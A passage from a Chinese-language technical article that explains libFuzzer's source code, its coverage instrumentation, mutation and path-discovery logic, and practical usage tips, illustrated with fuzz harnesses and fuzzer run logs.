M.getOrInsertFunction(SanCovTracePCGuardName, VoidTy, Int32PtrTy, Int32PtrTy, Int32PtrTy);  // 修改__sanitizer_cov_trace_pc_guard()的调用声明,改成__sanitizer_cov_trace_pc_guard(int,int,int)\n   // ...\n}\n\nbool ModuleSanitizerCoverage::InjectCoverage(Function &F,ArrayRef<BasicBlock *> AllBlocks,bool IsLeafFunc) {\n  if (AllBlocks.empty()) return false;\n  CreateFunctionLocalArrays(F, AllBlocks);\n  for (size_t i = 0, N = AllBlocks.size(); i < N; i++)\n    InjectCoverageAtBlock(F, *AllBlocks[i], i, IsLeafFunc, N);  // 遍历出来的BasicBlock总数其实就是当前函数的所有分支\n  return true;\n}\n\nvoid ModuleSanitizerCoverage::InjectCoverageAtBlock(Function &F, BasicBlock &BB,size_t Idx,bool IsLeafFunc,size_t EdgeCount) {  // 新增参数EdgeCount\n   // ...\n  if (Options.TracePCGuard) {\n    std::vector<Value*> SanCovTracePCGuardArgumentList;  // 创建参数调用列表\n    auto GuardPtr = IRB.CreateIntToPtr(\n        IRB.CreateAdd(IRB.CreatePointerCast(FunctionGuardArray, IntptrTy),\n                      ConstantInt::get(IntptrTy, Idx * 4)),\n        Int32PtrTy);  // 从FunctionGuardArray中获取到的分支ID数据\n    auto FunctionPtr = IRB.CreateIntToPtr(IRB.CreatePointerCast(static_cast<Value*>(&F), IntptrTy),Int32PtrTy);  // 获取当前函数地址,转换为指针传递\n    Constant* ConstFunctionInsideEdgeCount = ConstantInt::get(IntptrTy, EdgeCount);  //  获取当前函数分支总数,作为int值传递\n\n    SanCovTracePCGuardArgumentList.push_back(GuardPtr);\n    SanCovTracePCGuardArgumentList.push_back(ConstFunctionInsideEdgeCount);\n    SanCovTracePCGuardArgumentList.push_back(FunctionPtr);\n\n    IRB.CreateCall(SanCovTracePCGuard, static_cast<ArrayRef<Value *>>(SanCovTracePCGuardArgumentList))->setCannotMerge();\n  }\n   // ...\n}\n```\n\n\n\n\n\n## libFuzzer原理\n\n\n\n  用过libFuzzer和AFL的读者们应该知道,这两款Fuzzer工具核心原理是:它们都会使用数据样本来生成测试数据集,然后使用新生成的测试数据调用程序执行并根据程序插桩的逻辑捕获到执行的分支信息,以此判断新的测试数据有没有发现新的执行路径,如果有发现新执行路径则记录测试数据,后续继续使用基于测试数据变异,不断以此循环.\n\n  关于libFuzzer最经典的教程在这里(https://github.com/Dor1s/libfuzzer-workshop),本文着重介绍libFuzzer工具本身的原理,不再复述libFuzzer的用法.\n\n  关于libFuzzer的实现代码,在LLVM的`\\llvm-project\\compiler-rt\\lib\\fuzzer\\`目录下.\n\n\n\n#### libFuzzer执行Fuzzer过程\n\n\n\n  本章使用libFuzzer-workshop教程的OpenSSL心脏滴血漏洞来做讲解,相关代码在这里(https://github.com/Dor1s/libfuzzer-workshop/blob/master/lessons/05/openssl_fuzzer.cc),其中核心Fuzzing代码如下:\n\n\n\n```c++\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n  static SSL_CTX *sctx = Init();\n  SSL *server = SSL_new(sctx);\n  BIO *sinbio = BIO_new(BIO_s_mem());\n  BIO *soutbio = BIO_new(BIO_s_mem());\n  SSL_set_bio(server, sinbio, soutbio);\n  SSL_set_accept_state(server);\n  BIO_write(sinbio, data, size);\n  SSL_do_handshake(server);\n  SSL_free(server);\n  return 0;\n}\n```\n\n\n\n  libFuzzer以`LLVMFuzzerTestOneInput()`作为用户自定义的模糊测试入口点,用户只需要关注为libFuzzer生成的数据编写接口调用逻辑,而libFuzzer本身只需要做好数据生成即可.libFuzzer的数据生成主要由三部分构成:\n\n1. 用户指定的初始数据\n2. 数据变异\n3. 新路径发现\n\n  libFuzzer工作过程也可以简单地归纳为:\n\n1. 初始化\n2. 生成数据\n3. 开始测试\n4. 收集代码覆盖率信息\n5. 生成数据\n6. 开始测试\n7. ...以此类推\n\n\n\n  对以上的执行过程有了印象之后,那么我们就开始对libFuzzer的源码进行探索.FuzzerDriver.cpp文件的FuzzerDriver()函数是libFuzzer的入口点.\n\n\n\n```c++\nint FuzzerDriver(int *argc, char ***argv, UserCallback Callback) {\n   // 省略代码\n  if (EF->LLVMFuzzerInitialize) // 如果用户有自定义LLVMFuzzerInitialize()实现,那么就执行该函数,提供这个函数的作为用户自定义实现接口是因为要对库/程序进行初始化\n    EF->LLVMFuzzerInitialize(argc, argv);\n   // 省略程序解析外部参数代码\n   \n  unsigned Seed = Flags.seed; // 如果外部有传递随机数种子的话.参数为-seed=?\n  if (Seed == 0)\n    Seed = std::chrono::system_clock::now().time_since_epoch().count() + GetPid(); // 外部没有指定随机数种子,那就使用时间戳+pid\n  if (Flags.verbosity) // 调试输出,参数为-verbosity\n    Printf(\"INFO: Seed: %u\\n\", Seed);\n\n  Random Rand(Seed); // 随机数生成器\n  auto *MD = new MutationDispatcher(Rand, Options); // 数据变异生成器\n  auto *Corpus = new InputCorpus(Options.OutputCorpus); // 数据收集器\n  auto *F = new Fuzzer(Callback, *Corpus, *MD, Options); // Fuzzer核心逻辑模块\n\n  StartRssThread(F, Flags.rss_limit_mb); // 创建内存检测线程,如果当前进程的内存占用超过阈值之后就退出Fuzzer报告异常\n\n  Options.HandleAbrt = Flags.handle_abrt;\n  Options.HandleBus = Flags.handle_bus;\n  Options.HandleFpe = Flags.handle_fpe;\n  Options.HandleIll = Flags.handle_ill;\n  Options.HandleInt = Flags.handle_int;\n  Options.HandleSegv = Flags.handle_segv;\n  Options.HandleTerm = Flags.handle_term;\n  Options.HandleXfsz = Flags.handle_xfsz;\n  SetSignalHandler(Options);  // 初始化信号捕获回调函数\n    \n   // 省略代码\n  F->Loop(); // 开始Fuzzing\n    \n  exit(0);\n}\n```\n\n\n\n  通过分析libFuzzer的启动过程我们可知,它整个框架的核心由:\n\n* 数据变异生成器\n* 数据收集器\n* Fuzzer核心逻辑模块\n\n  组成.接下来我们应该梳理清楚这三个模块之间的关系,接着前面的分析,我们继续阅读`Fuzzer::Loop()`的代码.\n\n\n\n```c++\nvoid Fuzzer::Loop() {\n   // 省略代码\n  while (true) {\n    // 省略代码\n    if (TimedOut()) break; // 由参数-max_total_time指定的运行时间控制,超时执行就退出\n    // Perform several mutations and runs.\n    MutateAndTestOne(); // 执行一次Fuzzing\n  }\n  // 省略代码\n}\n\nvoid Fuzzer::MutateAndTestOne() {\n  auto &II = Corpus.ChooseUnitToMutate(MD.GetRand());  // 从数据收集器中随机挑一个测试数据出来,要结合下面的核心逻辑代码才能理解它的用意\n  const auto &U = II.U;\n  size_t Size = U.size();\n  memcpy(CurrentUnitData, U.data(), Size);  //  获取测试数据\n\n  // 省略代码\n    \n  for (int i = 0; i < Options.MutateDepth; i++) {  // 对数据变异多次.由参数-mutate_depth控制,默认值是5\n    size_t NewSize = 0;\n    NewSize = MD.Mutate(CurrentUnitData, Size, CurrentMaxMutationLen); // 使用前面随机抽取获取到的测试数据作为变异输入生成测试数据\n    Size = NewSize;\n    if (i == 0)  // 注意,第一次Fuzzing时,会启用数据追踪功能,简而言之就是hook strstr(),strcasestr(),memmem()函数,然后从参数中获取到一些有意思的字符串\n      StartTraceRecording();\n    II.NumExecutedMutations++;\n    if (size_t NumFeatures = RunOne(CurrentUnitData, Size)) {  // 开始Fuzzing,如果使用前面生成的变异数据拿去Fuzzing,发现了新的路径数量,就会保存到NumFeatures,没有发现新路径则NumFeatures=0.\n      Corpus.AddToCorpus({CurrentUnitData, CurrentUnitData + Size}, NumFeatures,\n                         /*MayDeleteFile=*/true);  // 注意,这一段代码是libFuzzer的核心逻辑之一,如果变异数据发现新路径,那就记录该数据到数据收集器.这是libFuzzer路径探测的核心原理.\n      ReportNewCoverage(&II, {CurrentUnitData, CurrentUnitData + Size});\n      CheckExitOnSrcPosOrItem();\n    }\n    StopTraceRecording();\n    TryDetectingAMemoryLeak(CurrentUnitData, Size,\n                            /*DuringInitialCorpusExecution*/ false);\n  }\n}\n\nsize_t Fuzzer::RunOne(const uint8_t *Data, size_t Size) {\n  ExecuteCallback(Data, Size);  // 往下就是调用到LLVMFuzzerTestOneInput()\n  TPC.UpdateCodeIntensityRecord(TPC.GetCodeIntensity());  // 获取当前执行过的代码分支总数\n\n  size_t NumUpdatesBefore = Corpus.NumFeatureUpdates();\n  TPC.CollectFeatures([&](size_t Feature) {\n    Corpus.AddFeature(Feature, Size, Options.Shrink);\n  });\n  size_t NumUpdatesAfter = Corpus.NumFeatureUpdates();  // 从SanitizerCoverage插桩记录的信息中获取分支数据\n\n  // 省略代码\n    \n  return NumUpdatesAfter - NumUpdatesBefore;  // 计算发现了多少新分支路径\n}\n```\n\n\n\n  明白libFuzzer的主要Fuzzing原理后,我们现在探讨下代码覆盖率的实现细节.首先,libFuzzer TracePC(TPC)类是专门用于收集使用SanitizerCoverage插桩获取到的信息,代码实现在FuzzerTracePC.cpp文件下.\n\n\n\n```c++\nATTRIBUTE_INTERFACE\nvoid __sanitizer_cov_trace_pc_guard_init(uint32_t *Start, uint32_t *Stop) {\n  fuzzer::TPC.HandleInit(Start, Stop);\n}\n\nATTRIBUTE_INTERFACE\nATTRIBUTE_NO_SANITIZE_ALL\nvoid __sanitizer_cov_trace_pc_guard(uint32_t *Guard) {\n  uintptr_t PC = reinterpret_cast<uintptr_t>(__builtin_return_address(0));\n  uint32_t Idx = *Guard;\n\n  getStackDepth();\n  fuzzer::codeIntensity++;\n\n  __sancov_trace_pc_pcs[Idx] = PC;\n  __sancov_trace_pc_guard_8bit_counters[Idx]++;\n}\n```\n\n\n\n  理解这个细节后,再回来看核心逻辑`Fuzzer::ExecuteCallback()`.\n\n\n\n```c++\nvoid Fuzzer::ExecuteCallback(const uint8_t *Data, size_t Size) {\n  // 省略代码\n  uint8_t *DataCopy = new uint8_t[Size];\n  memcpy(DataCopy, Data, Size);  // 从变异的数据中复制一份到这个内存,后面会用到\n  // 省略代码\n  TPC.ResetMaps();  // 清空所有路径信息\n  RunningCB = true;\n  int Res = CB(DataCopy, Size);  // 执行用户自定义的LLVMFuzzerTestOneInput()\n  RunningCB = false;\n  // 省略代码\n  if (!LooseMemeq(DataCopy, Data, Size))  // 注意这个坑,如果传递给LLVMFuzzerTestOneInput()的data会被程序修改,那么libFuzzer会强制退出\n    CrashOnOverwrittenData();\n  delete[] DataCopy;\n}\n```\n\n\n\n#### 数据生成原理\n\n\n\n  对整个Fuzzing过程清晰后,我们回来探索libFuzzer的数据生成原理,对应数据变异模块`MutationDispatcher`.\n\n\n\n```c++\nMutationDispatcher::MutationDispatcher(Random &Rand,const FuzzingOptions &Options)\n    : Rand(Rand), Options(Options) {  // Rand是随机数生成器\n  DefaultMutators.insert(\n      DefaultMutators.begin(),  // 添加数据变异算法\n      {\n          {&MutationDispatcher::Mutate_EraseBytes, \"EraseBytes\"},\n          {&MutationDispatcher::Mutate_InsertByte, \"InsertByte\"},\n          {&MutationDispatcher::Mutate_InsertRepeatedBytes,\n           \"InsertRepeatedBytes\"},\n          {&MutationDispatcher::Mutate_ChangeByte, \"ChangeByte\"},\n          {&MutationDispatcher::Mutate_ChangeBit, \"ChangeBit\"},\n          {&MutationDispatcher::Mutate_ShuffleBytes, \"ShuffleBytes\"},\n          {&MutationDispatcher::Mutate_ChangeASCIIInteger, \"ChangeASCIIInt\"},\n          {&MutationDispatcher::Mutate_ChangeBinaryInteger, \"ChangeBinInt\"},\n          {&MutationDispatcher::Mutate_CopyPart, \"CopyPart\"},\n          {&MutationDispatcher::Mutate_CrossOver, \"CrossOver\"},\n          {&MutationDispatcher::Mutate_AddWordFromManualDictionary,\n           \"ManualDict\"},\n          {&MutationDispatcher::Mutate_AddWordFromTemporaryAutoDictionary,\n           \"TempAutoDict\"},\n          {&MutationDispatcher::Mutate_AddWordFromPersistentAutoDictionary,\n           \"PersAutoDict\"},\n      });\n  if(Options.UseCmp)\n    DefaultMutators.push_back(\n        {&MutationDispatcher::Mutate_AddWordFromTORC, \"CMP\"});\n\n  if (EF->LLVMFuzzerCustomMutator)  // 如果存在用户自定义的数据变异方法,那就使用它\n    Mutators.push_back({&MutationDispatcher::Mutate_Custom, \"Custom\"});\n  else\n    Mutators = DefaultMutators;\n\n  if (EF->LLVMFuzzerCustomCrossOver)\n    Mutators.push_back(\n        {&MutationDispatcher::Mutate_CustomCrossOver, \"CustomCrossOver\"});\n}\n```\n\n\n\n  关于数据变异的算法读者们自行阅读,这些变异方法基本上都差不多.笔者画图整理全部的逻辑,读者们就能对此一目了然.\n\n\n\n![](./pic12/libFuzzer-Mutate.png)\n\n\n\n#### 路径探测原理\n\n\n\n  前面有简略地提到这点,简单总结整体流程如下:\n\n\n\n![](./pic12/libFuzzer-PathSearch.png)\n\n\n\n  本章最后,把libFuzzer数据变异和路径探测结合在一起的完整过程如下所示.\n\n\n\n![](./pic12/libFuzzer-Arch.png)\n\n\n\n## 深入解析libFuzzer参数与回显\n\n\n\n  本小节着重于对实用情景下对libFuzzer的用法和坑(参数,回显,bug等)做深入的分析,为什么要将它放到最后来解释呢?笔者在实际工作中遇到了一些难以处理问题,都是依靠前面对libFuzzer源码的浅薄理解而解决的.\n\n\n\n#### 编译时使用 libFuzzer.a和-fsanitize=fuzzer有区别嘛?\n\n\n\n  回顾libfuzzer-workshop的例子,示例的第一步要求我们先对libFuzzer的源码进行编译,生成libFuzzer.a静态库,然后再自行编写Fuzz逻辑入口,把Fuzzer,库源码,libFuzzer.a同时链接,生成可执行Fuzzer.实际上clang中已经内置了libFuzzer,我们使用-fsanitize=fuzzer也可以引入它.举个例子:\n\n\n\n```c\n#include <stdio.h>\n\n\nint LLVMFuzzerTestOneInput(const char* Data,unsigned int Size) {\n\tif (Size > 4) {\n\t\tif (Data[1] == 'F' && Data[3] == 'A') {\n\t\t\tprintf(\"bingo \\n\");\n\t\t\texit(0);\n\t\t}\n\t}\n\n\treturn 0;\n}\n```\n\n\n\n  命令行下执行结果:\n\n\n\n```sh\nubuntu@ubuntu-virtual-machine:~/Desktop/temp$ clang -fsanitize=fuzzer 1.c -o 1_fuzzer && ./1_fuzzer\nINFO: Seed: 3655122303\nINFO: Loaded 1 modules   (5 inline 8-bit counters): 5 [0x4e8080, 0x4e8085), \nINFO: Loaded 1 PC tables (5 PCs): 5 [0x4bee00,0x4bee50), \nINFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes\nINFO: A corpus is not provided, starting from an empty corpus\n#2\tINITED cov: 2 ft: 2 corp: 1/1b exec/s: 0 rss: 28Mb\n#219\tNEW    cov: 3 ft: 3 corp: 2/7b lim: 6 exec/s: 0 rss: 28Mb L: 6/6 MS: 2 CopyPart-CrossOver-\n#245\tREDUCE cov: 3 ft: 3 corp: 2/6b lim: 6 exec/s: 0 rss: 28Mb L: 5/5 MS: 1 EraseBytes-\n#4770\tREDUCE cov: 4 ft: 4 corp: 3/12b lim: 48 exec/s: 0 rss: 28Mb L: 6/6 MS: 5 CrossOver-ShuffleBytes-EraseBytes-ChangeBinInt-ShuffleBytes-\n#4773\tREDUCE cov: 4 ft: 4 corp: 3/11b lim: 48 exec/s: 0 rss: 28Mb L: 5/5 MS: 3 CopyPart-ShuffleBytes-EraseBytes-\nbingo \n==822227== ERROR: libFuzzer: fuzz target exited\n    #0 0x4adb40 in __sanitizer_print_stack_trace (/home/ubuntu/Desktop/temp/1_fuzzer+0x4adb40)\n    #1 0x459498 in fuzzer::PrintStackTrace() (/home/ubuntu/Desktop/temp/1_fuzzer+0x459498)\n    #2 0x43f58c in fuzzer::Fuzzer::ExitCallback() (/home/ubuntu/Desktop/temp/1_fuzzer+0x43f58c)\n    #3 0x7f064ebb9a56 in __run_exit_handlers stdlib/exit.c:108:8\n    #4 0x7f064ebb9bff in exit stdlib/exit.c:139:3\n    #5 0x4adf32 in LLVMFuzzerTestOneInput (/home/ubuntu/Desktop/temp/1_fuzzer+0x4adf32)\n    #6 0x440a31 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/ubuntu/Desktop/temp/1_fuzzer+0x440a31)\n    #7 0x440175 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool, fuzzer::InputInfo*, bool*) (/home/ubuntu/Desktop/temp/1_fuzzer+0x440175)\n    #8 0x441ba0 in fuzzer::Fuzzer::MutateAndTestOne() (/home/ubuntu/Desktop/temp/1_fuzzer+0x441ba0)\n    #9 0x442615 in fuzzer::Fuzzer::Loop(std::__Fuzzer::vector<fuzzer::SizedFile, fuzzer::fuzzer_allocator<fuzzer::SizedFile> >&) (/home/ubuntu/Desktop/temp/1_fuzzer+0x442615)\n    #10 0x432025 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/ubuntu/Desktop/temp/1_fuzzer+0x432025)\n    #11 0x459c72 in main (/home/ubuntu/Desktop/temp/1_fuzzer+0x459c72)\n    #12 0x7f064eb9dcb1 in __libc_start_main csu/../csu/libc-start.c:314:16\n    #13 0x40684d in _start (/home/ubuntu/Desktop/temp/1_fuzzer+0x40684d)\n\nSUMMARY: libFuzzer: fuzz target exited\nMS: 1 InsertByte-; base unit: 0c7d9271cf3d2a4e2c3eec3e76a2d1dc1431af36\n0xa,0x46,0xf6,0x41,0xa,0xa,\n\\x0aF\\xf6A\\x0a\\x0a\nartifact_prefix='./'; Test unit written to ./crash-8860dc7909080bcb9ca9827f67704611bbdf02b9\nBase64: Ckb2QQoK\nubuntu@ubuntu-virtual-machine:~/Desktop/temp$ \n```\n\n\n\n  这看起来和直接引入libFuzzer.a的效果一样,那么接下来我们再引入**-fsanitize-coverage=trace-pc-guard**重新编译运行.结果如下:\n\n\n\n```sh\nubuntu@ubuntu-virtual-machine:~/Desktop/temp$ clang -v\nUbuntu clang version 11.0.0-2\nTarget: x86_64-pc-linux-gnu\nubuntu@ubuntu-virtual-machine:~/Desktop/temp$ clang -fsanitize=fuzzer -fsanitize-coverage=trace-pc-guard 1.c -o 1_fuzzer && ./1_fuzzer\n-fsanitize-coverage=trace-pc-guard is no longer supported by libFuzzer.\nPlease either migrate to a compiler that supports -fsanitize=fuzzer\nor use an older version of libFuzzer\nubuntu@ubuntu-virtual-machine:~/Desktop/temp$\n```\n\n\n\n  这是因为高版本的clang不支持trace-pc-guard和trace-pc了.对此有两个解决方法:\n\n* 使用-fsanitize-coverage=trace-gep,trace-div,trace-cmp替代trace-pc-guard.(适用于Windows平台)\n* 使用低版本的libFuzzer编译出静态库然后导入链接.因为不支持trace-pc-guard的逻辑是在libFuzzer中写死的(参考FuzzerTracePC.cpp __sanitizer_cov_trace_pc_guard()函数),即使换成高版本libFuzzer的静态库也是一样的提示.\n\n\n\n#### 为什么libFuzzer要删除对trace-pc的支持?\n\n\n\n  libFuzzer开发者kcc在2019年1月的Commit中删除了libFuzzer对trace-pc的支持,相关diff如下:\n\n\n\n* https://github.com/llvm/llvm-project/commit/62d727061053dac28447a900fce064c54d366bd6#\n* https://github.com/llvm/llvm-project/commit/62d727061053dac28447a900fce064c54d366bd6#\n\n\n\n  笔者找遍了文档和提交记录,对于为什么要删除trace-pc的支持找不到任何相关信息,于是只能通过阅读源码和效果对比测试来理解和推测.相关结论如下:\n\n* 删除trace-pc是因为trace-pc的代码覆盖率统计方法可以被替代.\n* trace-pc随后被inline-8bit-counter(统计BasicBlock执行次数)和trace-cmp(在分支之前插桩)替代,因为trace-cmp可以主动发现逻辑判断中对比的数值,部分场景下能够增强主动模糊测试效果.\n\n\n\n  我们先对比一下改变前后的libFuzzer编译结果.旧版本的libFuzzer使用trace-pc插桩之后的代码逻辑如下,`生成的Data让逻辑执行到某个特定的BasicBlock时才记录代码覆盖`,这样模糊测试工具相对*被动*.\n\n\n\n![](./pic12/old_libfuzzer_santizer_coverage.png)\n\n\n\n  新版本的libFuzzer默认使用trace-cmp插桩之后,会在判断逻辑前面插桩并收集判断逻辑的数据(比如下面的反编译就是收集判断`if(Data[0] = '1')`的字符1),然后回馈到语料库(fuzzer::TracePC::TableOfRecentCompares).有了这些判断中的数据,生成模糊测试的数据就能相对有个方向,更为*主动*.其中__santizer_cov_trace_const_cmp4是由trace-cmp插桩的逻辑,++byte_4EB071是由inline-8bit-Counter插桩的逻辑.\n\n\n\n![](./pic12/new_libfuzzer_santizer_coverage.png)\n\n\n\n  两种插桩模式的模糊测试效果对比如下:\n\n\n\n![](./pic12/new_libfuzzer_effect.png)\n\n\n\n  附加参考链接:https://reviews.llvm.org/rC352818\n\n\n\n#### Windows平台下怎么引用libFuzzer?\n\n\n\n  Windows平台下使用libFuzzer建议还是使用LLVM官网的Windows编译套件,因为使用Visutal Studio Installer下载的LLVM版本只支持32位编译(只有32位的静态库),LLVM官网的Windows编译套件32/64位都支持.\n\n  Visual Studio项目需要修改编译工具集为LLVM-clang和正确平台SDK的即可.有几点需要注意:\n\n* clang的编译语法和MSVC不一样,有一些不应该提示的错误可以使用-Wno-xxx关闭警告.\n* clang甚至不支持一些MSVC内置函数(比如__cpuid等),可以尝试引入intrin.h解决.\n* 有一些MSVC或者WinAPI符号无法被clang识别,这是因为C++重载问题导致clang找不到符号.比如InternalLockAdd(LONG)和InternalLockAdd(ULONG),clang会认为是两个不一样的函数,但是WinAPI只有一个.所以建议直接对函数参数传参做强制转换,.对齐标准WinAPI声明.\n* 链接时需要手工引入.lib库,还记得前面的compiler-RT库嘛,插桩逻辑和Fuzzer调度逻辑都在这里,clang默认不会加载.\n\n\n\n#### libFuzzer怎么样提高模糊测试效果?\n\n\n\n  `-dict`参数指定一个语料库,后续ManualDict这些数据变异模块就可以从这里拿到**和当前被测试的逻辑强相关的关键词**.举个例子,我们对SQL注入做测试,这些关键词是不是就包含了:union select,from,count()等;对文件解析测试,是不是就需要包含7zip,PE,MZ,Rar!等关键词呢.我们传递的这些关键词,最终会被拼接到LLVMFuzzerTestOneInput()的data参数中.\n\n  实际上,libFuzzer也能够像AFL一样接受一批样本数据作为初始化输入来做模糊测试.这样的话我们就可以根据模糊测试的对象的业务去github和各个项目的测试用例中搜罗样本数据了.\n\n  上面两个参数是可以结合使用的,不带参数和带参数的对路径探测的结果影响如下:\n\n\n\n```sh\nubuntu@ubuntu-virtual-machine:~/Desktop/fuzz$ ./test_case\nINFO: Seed: 1117474860\nINFO: Loaded 1 modules (10682 guards): [0x110c9b8, 0x11170a0), \nINFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes\nINFO: A corpus is not provided, starting from an empty corpus\n#0\tREAD units: 1\n#1\tINITED cov: 869 ci: 0K ft: 180 corp: 1/1b exec/s: 0 rss: 135Mb\n#2\tNEW    cov: 869 ci: 0K ft: 208 corp: 2/2b exec/s: 0 rss: 135Mb L: 1 MS: 1 ShuffleBytes-\n#3\tNEW    cov: 885 ci: 0K ft: 229 corp: 3/4b exec/s: 0 rss: 135Mb L: 2 MS: 2 ShuffleBytes-CrossOver-\n#5\tNEW    cov: 886 ci: 0K ft: 239 corp: 4/5b exec/s: 0 rss: 135Mb L: 1 MS: 4 ShuffleBytes-CrossOver-EraseBytes-ChangeBit-\n#8\tNEW    cov: 886 ci: 0K ft: 248 corp: 5/8b exec/s: 0 rss: 135Mb L: 3 MS: 2 ChangeBit-CrossOver-\n#9\tNEW    cov: 887 ci: 0K ft: 249 corp: 6/12b exec/s: 0 rss: 135Mb L: 4 MS: 3 ChangeBit-CrossOver-InsertByte-\n#12\tNEW    cov: 898 ci: 0K ft: 264 corp: 7/89b exec/s: 0 rss: 145Mb L: 77 MS: 1 InsertRepeatedBytes-\n#13\tNEW    cov: 898 ci: 1K ft: 267 corp: 8/210b exec/s: 0 rss: 145Mb L: 121 MS: 2 InsertRepeatedBytes-CopyPart-\n#14\tNEW    cov: 898 ci: 2K ft: 269 corp: 9/401b exec/s: 0 rss: 145Mb L: 191 MS: 3 InsertRepeatedBytes-CopyPart-CopyPart-\n#15\tNEW    cov: 898 ci: 2K ft: 270 corp: 10/593b exec/s: 0 rss: 145Mb L: 192 MS: 4 InsertRepeatedBytes-CopyPart-CopyPart-InsertByte-\n#21\tNEW    cov: 899 ci: 41K ft: 271 corp: 11/4689b exec/s: 0 rss: 145Mb L: 4096 MS: 5 ChangeBit-EraseBytes-EraseBytes-ChangeBit-CrossOver-\n#25\tNEW    cov: 899 ci: 41K ft: 272 corp: 12/5513b exec/s: 0 rss: 145Mb L: 824 MS: 4 ChangeByte-CMP-CrossOver-CrossOver- DE: \"\\xef\\x0f\"-\n#43\tNEW    cov: 899 ci: 41K ft: 280 corp: 13/5516b exec/s: 0 rss: 145Mb L: 3 MS: 2 ChangeBinInt-CopyPart-\n#90\tNEW    cov: 899 ci: 41K ft: 281 corp: 14/5746b exec/s: 0 rss: 145Mb L: 230 MS: 4 ChangeByte-PersAutoDict-CopyPart-InsertRepeatedBytes- DE: \"\\xef\\x0f\"-\n#106\tNEW    cov: 899 ci: 41K ft: 283 corp: 15/6032b exec/s: 0 rss: 145Mb L: 286 MS: 5 EraseBytes-ChangeBit-ShuffleBytes-ChangeBit-InsertRepeatedBytes-\n#117\tNEW    cov: 899 ci: 41K ft: 284 corp: 16/6071b exec/s: 0 rss: 145Mb L: 39 MS: 1 EraseBytes-\n#124\tNEW    cov: 899 ci: 41K ft: 286 corp: 17/6076b exec/s: 0 rss: 145Mb L: 5 MS: 3 ChangeByte-ShuffleBytes-PersAutoDict- DE: \"\\xef\\x0f\"-\n#163\tNEW    cov: 899 ci: 41K ft: 288 corp: 18/6093b exec/s: 0 rss: 145Mb L: 17 MS: 2 CMP-CMP- DE: \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"-\"\\xff\\xff\\xff\\xff\\xff\\xff\\x0b[\"-\n#164\tNEW    cov: 899 ci: 41K ft: 290 corp: 19/6106b exec/s: 0 rss: 145Mb L: 13 MS: 3 CMP-CMP-EraseBytes- DE: \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"-\"\\xff\\xff\\xff\\xff\\xff\\xff\\x0b[\"-\n#169\tNEW    cov: 899 ci: 41K ft: 292 corp: 20/6118b exec/s: 0 rss: 145Mb L: 12 MS: 3 ChangeByte-ChangeBinInt-CMP- DE: \"objective\"-\n#182\tNEW    cov: 899 ci: 41K ft: 294 corp: 21/6129b exec/s: 0 rss: 145Mb L: 11 MS: 1 CMP- DE: \"\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\"-\n#529\tNEW    cov: 899 ci: 41K ft: 295 corp: 22/6131b exec/s: 0 rss: 146Mb L: 2 MS: 3 ChangeBit-InsertByte-ChangeBit-\n#634\tNEW    cov: 899 ci: 41K ft: 296 corp: 23/10227b exec/s: 0 rss: 146Mb L: 4096 MS: 3 CopyPart-CrossOver-ChangeBit-\n#702\tNEW    cov: 899 ci: 41K ft: 298 corp: 24/10418b exec/s: 702 rss: 146Mb L: 191 MS: 1 ChangeBinInt-\n#1041\tNEW    cov: 899 ci: 41K ft: 299 corp: 25/10424b exec/s: 1041 rss: 146Mb L: 6 MS: 5 ShuffleBytes-CMP-CrossOver-EraseBytes-EraseBytes- DE: \"\\x00\\x00\\x00Z\"-\n```\n\n\n\n```sh\nubuntu@ubuntu-virtual-machine:~/Desktop/fuzz$ ./test_case -dict=./libfuzzer_keywork.txt sample/\nDictionary: 375 entries\nINFO: Seed: 1048768538\nINFO: Loaded 1 modules (10682 guards): [0x110c9b8, 0x11170a0), \nLoading corpus dir: sample/\nLoaded 1024/2640 files from sample/\nLoaded 2048/2640 files from sample/\nINFO: -max_len is not provided; libFuzzer will not generate inputs larger than 1048576 bytes\n#0\tREAD units: 2638\n#1024\tpulse  cov: 1805 ci: 609K ft: 1585 corp: 73/15289b exec/s: 512 rss: 748Mb\n#2048\tpulse  cov: 3774 ci: 5983K ft: 6522 corp: 259/3660Kb exec/s: 341 rss: 785Mb\n#2638\tINITED cov: 4286 ci: 18481K ft: 9928 corp: 490/79Mb exec/s: 131 rss: 997Mb\n#2639\tNEW    cov: 4286 ci: 18481K ft: 9929 corp: 491/79Mb exec/s: 131 rss: 997Mb L: 94081 MS: 1 CMP- DE: \"N4LIEF17read_out_\"-\n#2665\tNEW    cov: 4325 ci: 18481K ft: 9988 corp: 492/79Mb exec/s: 133 rss: 997Mb L: 165541 MS: 2 CMP-PersAutoDict- DE: \"\\x0a\\x00\"-\"N4LIEF17read_out_\"-\n#2713\tNEW    cov: 4325 ci: 18481K ft: 9999 corp: 493/79Mb exec/s: 129 rss: 997Mb L: 103145 MS: 5 CMP-InsertRepeatedBytes-EraseBytes-ManualDict-ChangeByte- DE: \"\\x01\\x00\\x00\\x00\\x00\\x01\\x89\\xca\"-\"PowerPoint\"-\n#2804\tNEW    cov: 4326 ci: 18481K ft: 10006 corp: 494/79Mb exec/s: 127 rss: 997Mb L: 94081 MS: 1 ChangeBit-\n#2960\tNEW    cov: 4326 ci: 18481K ft: 10007 corp: 495/79Mb exec/s: 118 rss: 997Mb L: 67143 MS: 2 PersAutoDict-CMP- DE: \"\\x01\\x00\\x00\\x00\\x00\\x01\\x89\\xca\"-\"\\x00\\x00\\x00\\x00\\x00\\x00\\x13}\"-\n#3011\tNEW    cov: 4326 ci: 18481K ft: 10008 corp: 496/79Mb exec/s: 120 rss: 997Mb L: 94205 MS: 3 ChangeASCIIInt-InsertRepeatedBytes-ChangeBinInt-\n#3014\tNEW    cov: 4327 ci: 18481K ft: 10009 corp: 497/79Mb exec/s: 120 rss: 997Mb L: 67143 MS: 1 CopyPart-\n#3102\tNEW    cov: 4327 ci: 18481K ft: 10013 corp: 498/79Mb exec/s: 114 rss: 997Mb L: 81784 MS: 4 ManualDict-ShuffleBytes-ChangeBit-CopyPart- DE: \"Jet\\x00\"-\n#3106\tNEW    cov: 4327 ci: 18481K ft: 10027 corp: 499/79Mb exec/s: 115 rss: 